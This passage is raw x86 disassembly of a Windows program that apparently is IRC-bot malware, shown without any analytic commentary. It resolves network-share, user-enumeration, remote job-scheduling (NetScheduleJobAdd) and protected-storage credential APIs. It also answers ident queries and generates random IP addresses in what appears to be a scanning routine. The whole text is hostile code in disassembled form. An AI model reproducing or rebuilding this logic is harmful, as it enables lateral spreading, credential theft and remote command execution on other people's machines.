pop ecx
push eax
call ds:dword_417238 ; htons
mov [ebp+var_E], ax
loc_403790: ; CODE XREF: sub_403588+1F2j
and [ebp+var_18], 0
jmp short loc_40379D
; ---------------------------------------------------------------------------
loc_403796: ; CODE XREF: sub_403588:loc_4038A7j
mov eax, [ebp+var_18]
inc eax
mov [ebp+var_18], eax
loc_40379D: ; CODE XREF: sub_403588+20Cj
mov eax, [ebp+var_18]
cmp eax, [ebp+var_20]
jnb loc_4038AC
cmp [ebp+arg_8], 0
jz short loc_4037B9
mov eax, [ebp+arg_8]
mov eax, [eax]
mov [ebp+var_40], eax
jmp short loc_4037C0
; ---------------------------------------------------------------------------
loc_4037B9: ; CODE XREF: sub_403588+225j
mov [ebp+var_40], 4
loc_4037C0: ; CODE XREF: sub_403588+22Fj
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_40]
mov [ecx+eax], edx
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov dword ptr [ecx+eax+4], 2
cmp [ebp+arg_8], 0
jz short loc_4037F1
mov eax, [ebp+arg_8]
mov eax, [eax+8]
mov [ebp+var_44], eax
jmp short loc_4037F8
; ---------------------------------------------------------------------------
loc_4037F1: ; CODE XREF: sub_403588+25Cj
mov [ebp+var_44], 1
loc_4037F8: ; CODE XREF: sub_403588+267j
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_44]
mov [ecx+eax+8], edx
cmp [ebp+arg_8], 0
jz short loc_403819
mov eax, [ebp+arg_8]
mov eax, [eax+0Ch]
mov [ebp+var_48], eax
jmp short loc_403820
; ---------------------------------------------------------------------------
loc_403819: ; CODE XREF: sub_403588+284j
mov [ebp+var_48], 6
loc_403820: ; CODE XREF: sub_403588+28Fj
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_48]
mov [ecx+eax+0Ch], edx
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov dword ptr [ecx+eax+10h], 10h
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
lea eax, [ecx+eax+20h]
mov ecx, [ebp+var_18]
imul ecx, 30h
mov edx, [ebp+var_1C]
mov [edx+ecx+18h], eax
mov eax, [ebp+var_14]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_18]
mov eax, [eax+ecx*4]
mov eax, [eax]
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
lea eax, [ecx+eax+20h]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
cmp [ebp+var_18], 0
jz short loc_4038A7
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
add ecx, eax
mov eax, [ebp+var_18]
dec eax
imul eax, 30h
mov edx, [ebp+var_1C]
mov [edx+eax+1Ch], ecx
loc_4038A7: ; CODE XREF: sub_403588+304j
jmp loc_403796
; ---------------------------------------------------------------------------
loc_4038AC: ; CODE XREF: sub_403588+21Bj
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_1C]
mov [eax], ecx
xor eax, eax
locret_4038B6: ; CODE XREF: sub_403588+2Ej
; sub_403588+55j ...
leave
retn 10h
sub_403588 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo
var_434 = dword ptr -434h
var_430 = byte ptr -430h
var_410 = dword ptr -410h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 434h
cmp [ebp+arg_8], 0
jnz short loc_4038CF
cmp [ebp+arg_10], 0
jz short loc_4038D8
loc_4038CF: ; CODE XREF: sub_4038BA+Dj
mov eax, [ebp+arg_18]
and al, 0E0h
test eax, eax
jz short loc_4038ED
loc_4038D8: ; CODE XREF: sub_4038BA+13j
push 2726h
call ds:dword_417234 ; WSASetLastError
mov eax, 2726h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_4038ED: ; CODE XREF: sub_4038BA+1Cj
mov eax, [ebp+arg_0]
mov [ebp+var_40C], eax
mov eax, [ebp+var_40C]
movsx eax, word ptr [eax]
cmp eax, 2
jz short loc_403919
push 273Fh
call ds:dword_417234 ; WSASetLastError
mov eax, 273Fh
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403919: ; CODE XREF: sub_4038BA+48j
cmp [ebp+arg_8], 0
jz loc_403ABA
mov eax, [ebp+var_40C]
push dword ptr [eax+4]
call ds:dword_41721C ; inet_ntoa
mov [ebp+var_434], eax
cmp [ebp+var_434], 0
jnz short loc_403949
or eax, 0FFFFFFFFh
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403949: ; CODE XREF: sub_4038BA+85j
push 401h
push [ebp+var_434]
lea eax, [ebp+var_404]
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+arg_18]
and eax, 2
test eax, eax
jz short loc_403972
jmp loc_403BB4
; ---------------------------------------------------------------------------
loc_403972: ; CODE XREF: sub_4038BA+B1j
mov eax, [ebp+arg_18]
and eax, 4
test eax, eax
jz short loc_4039F4
push 0
push 4
mov eax, [ebp+var_40C]
add eax, 4
push eax
call ds:dword_417220 ; gethostbyaddr
mov [ebp+var_410], eax
cmp [ebp+var_410], 0
jnz short loc_4039AA
call ds:dword_417224 ; WSAGetLastError
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_4039AA: ; CODE XREF: sub_4038BA+E3j
mov eax, [ebp+var_410]
push dword ptr [eax]
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_C]
jbe short loc_4039D3
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_4039D3: ; CODE XREF: sub_4038BA+102j
push 401h
mov eax, [ebp+var_410]
push dword ptr [eax]
lea eax, [ebp+var_404]
push eax
call sub_407A56
add esp, 0Ch
jmp loc_403ABA
; ---------------------------------------------------------------------------
loc_4039F4: ; CODE XREF: sub_4038BA+C0j
mov eax, [ebp+arg_18]
and eax, 1
test eax, eax
jz loc_403A92
mov eax, [ebp+var_40C]
cmp dword ptr [eax+4], 7F000001h
jz short loc_403A1D
mov eax, [ebp+var_40C]
cmp dword ptr [eax+4], 0
jnz short loc_403A92
loc_403A1D: ; CODE XREF: sub_4038BA+155j
push 0
push 4
mov eax, [ebp+var_40C]
add eax, 4
push eax
call ds:dword_417220 ; gethostbyaddr
mov [ebp+var_410], eax
cmp [ebp+var_410], 0
jnz short loc_403A4B
call ds:dword_417224 ; WSAGetLastError
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403A4B: ; CODE XREF: sub_4038BA+184j
mov eax, [ebp+var_410]
push dword ptr [eax]
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_C]
jbe short loc_403A74
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403A74: ; CODE XREF: sub_4038BA+1A3j
push 401h
mov eax, [ebp+var_410]
push dword ptr [eax]
lea eax, [ebp+var_404]
push eax
call sub_407A56
add esp, 0Ch
jmp short loc_403ABA
; ---------------------------------------------------------------------------
loc_403A92: ; CODE XREF: sub_4038BA+142j
; sub_4038BA+161j ...
lea eax, [ebp+var_404]
push eax
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_C]
jbe short loc_403ABA
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403ABA: ; CODE XREF: sub_4038BA+63j
; sub_4038BA+135j ...
cmp [ebp+arg_10], 0
jz loc_403B99
push 8
pop eax
test eax, eax
jz short loc_403B2C
push 0Ah
lea eax, [ebp+var_430]
push eax
mov eax, [ebp+var_40C]
mov ax, [eax+2]
push eax
call ds:dword_417238 ; htons
movzx eax, ax
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
lea eax, [ebp+var_430]
push eax
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_14]
jbe short loc_403B19
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403B19: ; CODE XREF: sub_4038BA+248j
lea eax, [ebp+var_430]
push eax
push [ebp+arg_10]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_403B99
; ---------------------------------------------------------------------------
loc_403B2C: ; CODE XREF: sub_4038BA+20Fj
mov eax, [ebp+arg_18]
and eax, 10h
neg eax
sbb eax, eax
and eax, offset aUdp ; "udp"
push eax
mov eax, [ebp+var_40C]
movzx eax, word ptr [eax+2]
push eax
call ds:dword_417228 ; getservbyport
mov [ebp+var_408], eax
cmp [ebp+var_408], 0
jnz short loc_403B61
or eax, 0FFFFFFFFh
jmp short locret_403BB9
; ---------------------------------------------------------------------------
loc_403B61: ; CODE XREF: sub_4038BA+2A0j
mov eax, [ebp+var_408]
push dword ptr [eax]
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_14]
jbe short loc_403B87
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp short locret_403BB9
; ---------------------------------------------------------------------------
loc_403B87: ; CODE XREF: sub_4038BA+2B9j
mov eax, [ebp+var_408]
push dword ptr [eax]
push [ebp+arg_10]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_403B99: ; CODE XREF: sub_4038BA+204j
; sub_4038BA+270j
cmp [ebp+arg_8], 0
jz short loc_403BB0
lea eax, [ebp+var_404]
push eax
push [ebp+arg_8]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_403BB0: ; CODE XREF: sub_4038BA+2E3j
xor eax, eax
jmp short locret_403BB9
; ---------------------------------------------------------------------------
loc_403BB4: ; CODE XREF: sub_4038BA+B3j
jmp loc_403A92
; ---------------------------------------------------------------------------
locret_403BB9: ; CODE XREF: sub_4038BA+2Ej
; sub_4038BA+5Aj ...
leave
retn 1Ch
sub_4038BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_403BCF
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
loc_403BCF: ; CODE XREF: sub_403BBD+7j
pop ebp
retn 4
sub_403BBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403BD3 proc near ; CODE XREF: sub_4167F1:loc_4168BCp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push offset aKernel32_dll ; "kernel32.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_403C00
push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
push [ebp+var_C]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE40, eax
loc_403C00: ; CODE XREF: sub_403BD3+18j
push offset aNetapi32_dll ; "netapi32.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz loc_403CC3
push offset aNetusegetinfo ; "NetUseGetInfo"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE48, eax
push offset aNetuseadd ; "NetUseAdd"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE4C, eax
push offset aNetusedel ; "NetUseDel"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE50, eax
push offset aNetuserenum ; "NetUserEnum"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE54, eax
push offset aNetshareenum ; "NetShareEnum"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE58, eax
push offset aNetremotetod ; "NetRemoteTOD"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE5C, eax
push offset aNetapibufferfr ; "NetApiBufferFree"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE60, eax
push offset aNetschedulejob ; "NetScheduleJobAdd"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE64, eax
push offset aNetaddalternat ; "NetAddAlternateComputerName"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE68, eax
loc_403CC3: ; CODE XREF: sub_403BD3+3Fj
push offset aMpr_dll ; "mpr.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_403D23
push offset aWnetaddconnect ; "WNetAddConnection2A"
push [ebp+var_8]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE6C, eax
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push [ebp+var_8]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE70, eax
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push [ebp+var_8]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE74, eax
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push [ebp+var_8]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE78, eax
loc_403D23: ; CODE XREF: sub_403BD3+102j
push offset aWs2_32_dll ; "ws2_32.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_4], eax
push offset aGetaddrinfo ; "getaddrinfo"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE84, eax
push offset aGetnameinfo ; "getnameinfo"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE88, eax
push offset aFreeaddrinfo ; "freeaddrinfo"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE8C, eax
cmp dword_41DE84, 0
jz short loc_403D85
cmp dword_41DE88, 0
jz short loc_403D85
cmp dword_41DE8C, 0
jnz short loc_403DA3
loc_403D85: ; CODE XREF: sub_403BD3+19Ej
; sub_403BD3+1A7j
mov dword_41DE84, offset sub_403588
mov dword_41DE88, offset sub_4038BA
mov dword_41DE8C, offset sub_403BBD
loc_403DA3: ; CODE XREF: sub_403BD3+1B0j
push offset aPstorec_dll ; "pstorec.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_403DCA
push offset aPstorecreatein ; "PStoreCreateInstance"
push [ebp+var_10]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE80, eax
loc_403DCA: ; CODE XREF: sub_403BD3+1E2j
push offset aWininet_dll ; "wininet.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short locret_403DF1
push offset aInternetgetcon ; "InternetGetConnectedStateExA"
push [ebp+var_18]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE7C, eax
locret_403DF1: ; CODE XREF: sub_403BD3+209j
leave
retn
sub_403BD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o
var_1228 = dword ptr -1228h
var_1224 = byte ptr -1224h
var_1200 = byte ptr -1200h
var_11DC = byte ptr -11DCh
var_11B8 = dword ptr -11B8h
var_11B4 = dword ptr -11B4h
var_11B0 = dword ptr -11B0h
var_11AC = byte ptr -11ACh
var_11A6 = byte ptr -11A6h
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1228h
call sub_416BC0
push 1ADh
push [ebp+arg_0]
lea eax, [ebp+var_11B0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 1
lea eax, [ebp+var_11AC]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_11B4], eax
cmp [ebp+var_11B4], 0
jnz short loc_403E52
push [ebp+var_11B0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_403FE1
; ---------------------------------------------------------------------------
loc_403E52: ; CODE XREF: sub_403DF3+4Aj
lea eax, [ebp+var_11AC]
push eax
mov eax, [ebp+var_11B0]
push dword ptr [eax]
push offset dword_4189C4
lea eax, [ebp+var_11A6]
push eax
call sub_40D53F
add esp, 10h
loc_403E75: ; CODE XREF: sub_403DF3+BDj
; sub_403DF3+10Fj ...
push 3E8h
push [ebp+var_11B4]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_11B8], eax
mov eax, [ebp+var_11B0]
cmp dword ptr [eax+4], 0
jnz short loc_403EA2
cmp [ebp+var_11B8], 0
jnz short loc_403EA7
loc_403EA2: ; CODE XREF: sub_403DF3+A4j
jmp loc_403FC7
; ---------------------------------------------------------------------------
loc_403EA7: ; CODE XREF: sub_403DF3+ADj
cmp [ebp+var_11B8], 0FFFFFFFFh
jnz short loc_403EB2
jmp short loc_403E75
; ---------------------------------------------------------------------------
loc_403EB2: ; CODE XREF: sub_403DF3+BBj
push 1000h
lea eax, [ebp+var_1000]
push eax
push [ebp+var_11B8]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_1228], eax
cmp [ebp+var_1228], 0
jz short loc_403EF6
cmp [ebp+var_1228], 0FFFFFFFFh
jz short loc_403EF6
lea eax, [ebp+var_1000]
push eax
call sub_416B40 ; strlen
pop ecx
cmp eax, 10h
jbe short loc_403F07
loc_403EF6: ; CODE XREF: sub_403DF3+E6j
; sub_403DF3+EFj
push [ebp+var_11B8]
call sub_40538D
pop ecx
jmp loc_403E75
; ---------------------------------------------------------------------------
loc_403F07: ; CODE XREF: sub_403DF3+101j
movsx eax, byte_41EEC8
test eax, eax
jz short loc_403F27
push offset byte_41EEC8
lea eax, [ebp+var_1224]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_403F57
; ---------------------------------------------------------------------------
loc_403F27: ; CODE XREF: sub_403DF3+11Dj
lea eax, [ebp+var_1200]
push eax
lea eax, [ebp+var_1224]
push eax
lea eax, [ebp+var_11DC]
push eax
call sub_40668F
add esp, 0Ch
lea eax, [ebp+var_1224]
push eax
push offset byte_41EEC8
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_403F57: ; CODE XREF: sub_403DF3+132j
push offset aUseridUnix ; " : USERID : UNIX : "
lea eax, [ebp+var_1000]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
lea eax, [ebp+var_1224]
push eax
lea eax, [ebp+var_1000]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1000]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
lea eax, [ebp+var_1000]
push eax
call sub_416B40 ; strlen
pop ecx
inc eax
push eax
lea eax, [ebp+var_1000]
push eax
push [ebp+var_11B8]
call sub_4053BF
add esp, 0Ch
push [ebp+var_11B8]
call sub_40538D
pop ecx
jmp loc_403E75
; ---------------------------------------------------------------------------
loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j
push [ebp+var_11B4]
call sub_404CBB
pop ecx
push [ebp+var_11B0]
call sub_409763
pop ecx
xor eax, eax
locret_403FE1: ; CODE XREF: sub_403DF3+5Aj
leave
retn 4
sub_403DF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jz short loc_403FFD
push [ebp+arg_4]
call sub_40422A
pop ecx
test eax, eax
jnz short loc_404004
loc_403FFD: ; CODE XREF: sub_403FE5+9j
mov [ebp+arg_4], offset dword_418A18
loc_404004: ; CODE XREF: sub_403FE5+16j
push 1ADh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40401A
jmp short locret_40407B
; ---------------------------------------------------------------------------
loc_40401A: ; CODE XREF: sub_403FE5+31j
push 6
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 0Ah
push eax
call sub_405F67
pop ecx
pop ecx
cmp [ebp+arg_0], 0
jz short loc_404059
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
test eax, eax
jz short loc_404059
and [ebp+var_8], 0
jmp short loc_404060
; ---------------------------------------------------------------------------
loc_404059: ; CODE XREF: sub_403FE5+5Ej
; sub_403FE5+6Cj
mov [ebp+var_8], 1
loc_404060: ; CODE XREF: sub_403FE5+72j
push [ebp+arg_4]
push offset dword_4189F8
push [ebp+var_8]
push [ebp+var_4]
push offset sub_403DF3
call sub_4095A4
add esp, 14h
locret_40407B: ; CODE XREF: sub_403FE5+33j
leave
retn
sub_403FE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40407D proc near ; CODE XREF: sub_4055E5+772p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
loc_404085: ; CODE XREF: sub_40407D+2Cj
cmp [ebp+arg_4], 1
jbe short loc_4040AB
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_4]
dec eax
dec eax
mov [ebp+arg_4], eax
jmp short loc_404085
; ---------------------------------------------------------------------------
loc_4040AB: ; CODE XREF: sub_40407D+Cj
cmp [ebp+arg_4], 0
jz short loc_4040BF
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
loc_4040BF: ; CODE XREF: sub_40407D+32j
mov eax, [ebp+var_4]
shr eax, 10h
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
add eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shr eax, 10h
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
not eax
leave
retn
sub_40407D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p
; sub_40A9CF+1A2Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+var_4], 2
jz short loc_404146
cmp [ebp+var_4], 3
jz short loc_404124
cmp [ebp+var_4], 4
jz short loc_404106
jmp short loc_40416A
; ---------------------------------------------------------------------------
loc_404106: ; CODE XREF: sub_4040E8+1Aj
mov eax, [ebp+arg_0]
and al, 0
mov [ebp+arg_0], eax
push 0FEh
push 1
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
or ecx, eax
mov [ebp+arg_0], ecx
loc_404124: ; CODE XREF: sub_4040E8+14j
mov eax, [ebp+arg_0]
and ah, 0
mov [ebp+arg_0], eax
push 0FEh
push 1
call sub_4103F5
pop ecx
pop ecx
shl eax, 8
mov ecx, [ebp+arg_0]
or ecx, eax
mov [ebp+arg_0], ecx
loc_404146: ; CODE XREF: sub_4040E8+Ej
mov eax, [ebp+arg_0]
and eax, 0FF00FFFFh
mov [ebp+arg_0], eax
push 0FEh
push 1
call sub_4103F5
pop ecx
pop ecx
shl eax, 10h
mov ecx, [ebp+arg_0]
or ecx, eax
mov [ebp+arg_0], ecx
loc_40416A: ; CODE XREF: sub_4040E8+1Cj
mov eax, [ebp+arg_0]
and eax, 0FFFFFFh
mov [ebp+arg_0], eax
push 0FEh
push 1
call sub_4103F5
pop ecx
pop ecx
shl eax, 18h
mov ecx, [ebp+arg_0]
or ecx, eax
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
leave
retn
sub_4040E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404193 proc near ; CODE XREF: sub_404279+Ap
; sub_40435B+17p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0Ah
push [ebp+arg_0]
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
pop ebp
retn
sub_404193 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push offset dword_418A48
push [ebp+arg_0]
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_4041D5
push 1
pop eax
jmp short loc_404228
; ---------------------------------------------------------------------------
loc_4041D5: ; CODE XREF: sub_4041B7+17j
push 4
push offset dword_418A40
push [ebp+arg_0]
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_4041F0
push 1
pop eax
jmp short loc_404228
; ---------------------------------------------------------------------------
loc_4041F0: ; CODE XREF: sub_4041B7+32j
push 8
push offset dword_418A34
push [ebp+arg_0]
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_40420B
push 1
pop eax
jmp short loc_404228
; ---------------------------------------------------------------------------
loc_40420B: ; CODE XREF: sub_4041B7+4Dj
push 3
push offset dword_418A30
push [ebp+arg_0]
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_404226
push 1
pop eax
jmp short loc_404228
; ---------------------------------------------------------------------------
loc_404226: ; CODE XREF: sub_4041B7+68j
xor eax, eax
loc_404228: ; CODE XREF: sub_4041B7+1Cj
; sub_4041B7+37j ...
pop ebp
retn
sub_4041B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40422A proc near ; CODE XREF: sub_402A32+206p
; sub_403FE5+Ep ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
jmp short loc_40423C
; ---------------------------------------------------------------------------
loc_404235: ; CODE XREF: sub_40422A:loc_404273j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40423C: ; CODE XREF: sub_40422A+9j
cmp [ebp+var_4], 6
jnz short loc_404244
jmp short loc_404275
; ---------------------------------------------------------------------------
loc_404244: ; CODE XREF: sub_40422A+16j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_404273
push [ebp+arg_0]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_40426C
cmp [ebp+var_8], 0FFFFh
jbe short loc_40426E
loc_40426C: ; CODE XREF: sub_40422A+37j
jmp short loc_404275
; ---------------------------------------------------------------------------
loc_40426E: ; CODE XREF: sub_40422A+40j
push 1
pop eax
jmp short locret_404277
; ---------------------------------------------------------------------------
loc_404273: ; CODE XREF: sub_40422A+25j
jmp short loc_404235
; ---------------------------------------------------------------------------
loc_404275: ; CODE XREF: sub_40422A+18j
; sub_40422A:loc_40426Cj
xor eax, eax
locret_404277: ; CODE XREF: sub_40422A+47j
leave
retn
sub_40422A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404279 proc near ; CODE XREF: sub_4042FB+Cp
; sub_408B30+197p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_8]
push eax
call sub_404193
pop ecx
push 1
lea eax, [ebp+var_8]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_4042A4
push 1
pop eax
jmp short locret_4042F9
; ---------------------------------------------------------------------------
loc_4042A4: ; CODE XREF: sub_404279+24j
push 0BB8h
push 0
lea eax, [ebp+var_8]
push eax
push offset dword_41EF48
call sub_4050EA
add esp, 10h
mov [ebp+var_C], eax
push [ebp+var_10]
call sub_404CBB
pop ecx
cmp [ebp+var_C], 0
jz short loc_4042DA
cmp [ebp+var_C], 0FFFFFFFFh
jz short loc_4042DA
and [ebp+var_18], 0
jmp short loc_4042E1
; ---------------------------------------------------------------------------
loc_4042DA: ; CODE XREF: sub_404279+53j
; sub_404279+59j
mov [ebp+var_18], 1
loc_4042E1: ; CODE XREF: sub_404279+5Fj
mov eax, [ebp+var_18]
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4042F6
push [ebp+var_C]
call sub_4053B1
pop ecx
loc_4042F6: ; CODE XREF: sub_404279+72j
mov eax, [ebp+var_14]
locret_4042F9: ; CODE XREF: sub_404279+29j
leave
retn
sub_404279 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4042FB proc near ; CODE XREF: sub_411D68+4p
; sub_41349C+1FAp ...
push ebp
mov ebp, esp
cmp dword_41E294, 0
jnz short loc_404327
call sub_404279
push eax
push offset dword_41E298
call sub_409C9D
pop ecx
